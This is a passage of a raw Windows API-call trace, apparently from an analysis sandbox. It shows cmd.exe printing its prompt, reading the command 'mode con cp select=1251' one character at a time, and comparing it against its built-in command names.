_get_osfhandle (_FileHandle=1) returned 0x254 [0155.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0155.324] WriteFile (in: hFile=0x254, lpBuffer=0x7ff743a89970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x278cbaf7c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesWritten=0x278cbaf7c8*=0x2, lpOverlapped=0x0) returned 1 [0155.324] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff743a8bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0155.324] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21517b80080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0155.324] malloc (_Size=0x107ce) returned 0x21517b90060 [0155.324] _vsnwprintf (in: _Buffer=0x21517b90060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x278cbaf808 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0155.325] _vsnwprintf (in: _Buffer=0x21517b9008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x278cbaf808 | out: _Buffer=">") returned 1 [0155.325] _get_osfhandle (_FileHandle=1) returned 0x254 [0155.325] GetFileType (hFile=0x254) returned 0x3 [0155.325] _get_osfhandle (_FileHandle=1) returned 0x254 [0155.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0155.325] WriteFile (in: hFile=0x254, lpBuffer=0x7ff743a89970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x278cbaf7f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesWritten=0x278cbaf7f8*=0x18, lpOverlapped=0x0) returned 1 [0155.325] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.325] GetFileType (hFile=0x248) returned 0x3 [0155.325] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.325] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.325] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0155.325] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.325] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.325] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0155.325] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.325] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.325] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0155.325] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.325] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.325] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0155.325] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.325] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.326] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0155.326] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.326] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.326] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0155.326] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.326] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.326] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0155.326] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.326] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.326] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0155.326] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.326] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.326] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0155.326] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.326] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.326] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0155.326] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.326] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.326] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0155.326] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.326] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.326] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0155.326] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.326] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.326] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.327] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0155.327] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.327] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.327] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.327] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0155.327] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.327] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.327] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.327] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0155.327] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.327] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.327] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.327] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0155.327] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.327] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.327] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.327] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0155.327] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.327] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.327] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.327] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0155.327] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.327] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.327] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.327] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0155.327] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.327] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.327] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.327] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0155.327] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.327] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.328] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.328] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0155.328] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.328] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.328] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.328] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0155.328] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.328] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.328] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.328] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0155.328] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.328] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.328] ReadFile (in: hFile=0x248, lpBuffer=0x7ff743a89970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x278cbafb58, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesRead=0x278cbafb58*=0x1, lpOverlapped=0x0) returned 1 [0155.328] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=1, lpWideCharStr=0x7ff743a93c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0155.328] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.328] GetFileType (hFile=0x248) returned 0x3 [0155.328] _get_osfhandle (_FileHandle=0) returned 0x248 [0155.328] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.328] _get_osfhandle (_FileHandle=1) returned 0x254 [0155.328] GetFileType (hFile=0x254) returned 0x3 [0155.328] _get_osfhandle (_FileHandle=1) returned 0x254 [0155.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0155.328] WriteFile (in: hFile=0x254, lpBuffer=0x7ff743a89970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x278cbafaf8, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesWritten=0x278cbafaf8*=0x18, lpOverlapped=0x0) returned 1 [0155.329] GetProcessHeap () returned 0x215179b0000 [0155.329] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x4012) returned 0x215179b9c00 [0155.329] GetProcessHeap () returned 0x215179b0000 [0155.329] RtlFreeHeap (HeapHandle=0x215179b0000, Flags=0x0, BaseAddress=0x215179b9c00) returned 1 [0155.329] _wcsicmp (_String1="mode", _String2=")") returned 68 [0155.329] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0155.329] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0155.329] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0155.329] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0155.329] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0155.329] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0155.329] GetProcessHeap () returned 0x215179b0000 [0155.329] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0xb0) returned 0x215179b1280 [0155.329] GetProcessHeap () returned 0x215179b0000 [0155.329] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x1a) returned 0x215179b1520 [0155.329] GetProcessHeap () returned 0x215179b0000 [0155.329] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x38) returned 0x215179b1550 [0155.330] GetConsoleOutputCP () returned 0x1b5 [0155.688] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff743a8fbb0 | out: lpCPInfo=0x7ff743a8fbb0) returned 1 [0155.688] SetThreadUILanguage (LangId=0x0) returned 0x409 [0156.386] GetConsoleTitleW (in: lpConsoleTitle=0x278cbaf940, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0157.138] malloc (_Size=0xffce) returned 0x21517ba0840 [0157.138] ??_V@YAXPEAX@Z () returned 0x21517ba0840 [0157.138] malloc (_Size=0xffce) returned 0x21517bb0820 [0157.138] ??_V@YAXPEAX@Z () returned 0x21517bb0820 [0157.139] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0157.139] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0157.139] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0157.139] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0157.139] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0157.139] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0157.139] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0157.139] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0157.139] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0157.139] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0157.139] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0157.139] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0157.139] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0157.139] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0157.139] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0157.139] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0157.139] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0157.139] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0157.139] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0157.139] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0157.139] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0157.139] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0157.139] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0157.139] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0157.139] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0157.139] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0157.139] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0157.139] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0157.139] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0157.140] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0157.140] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0157.140] _wcsicmp (_String1="mode", _String2="START") returned -6 [0157.140] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0157.140] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0157.140] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0157.140] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0157.140] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0157.140] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0157.140] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0157.140] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0157.140] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0157.140] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0157.140] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0157.140] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0157.140] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0157.140] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0157.140] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0157.140] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0157.140] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0157.140] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0157.140] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0157.140] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0157.140] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0157.140] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0157.140] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0157.140] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0157.140] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0157.140] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0157.140] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0157.140] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0157.140] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0157.140] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0157.140] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0157.140] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0157.140] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0157.140] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0157.140] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0157.140] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0157.140] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0157.140] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0157.141] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0157.141] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0157.141] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0157.141] _wcsicmp 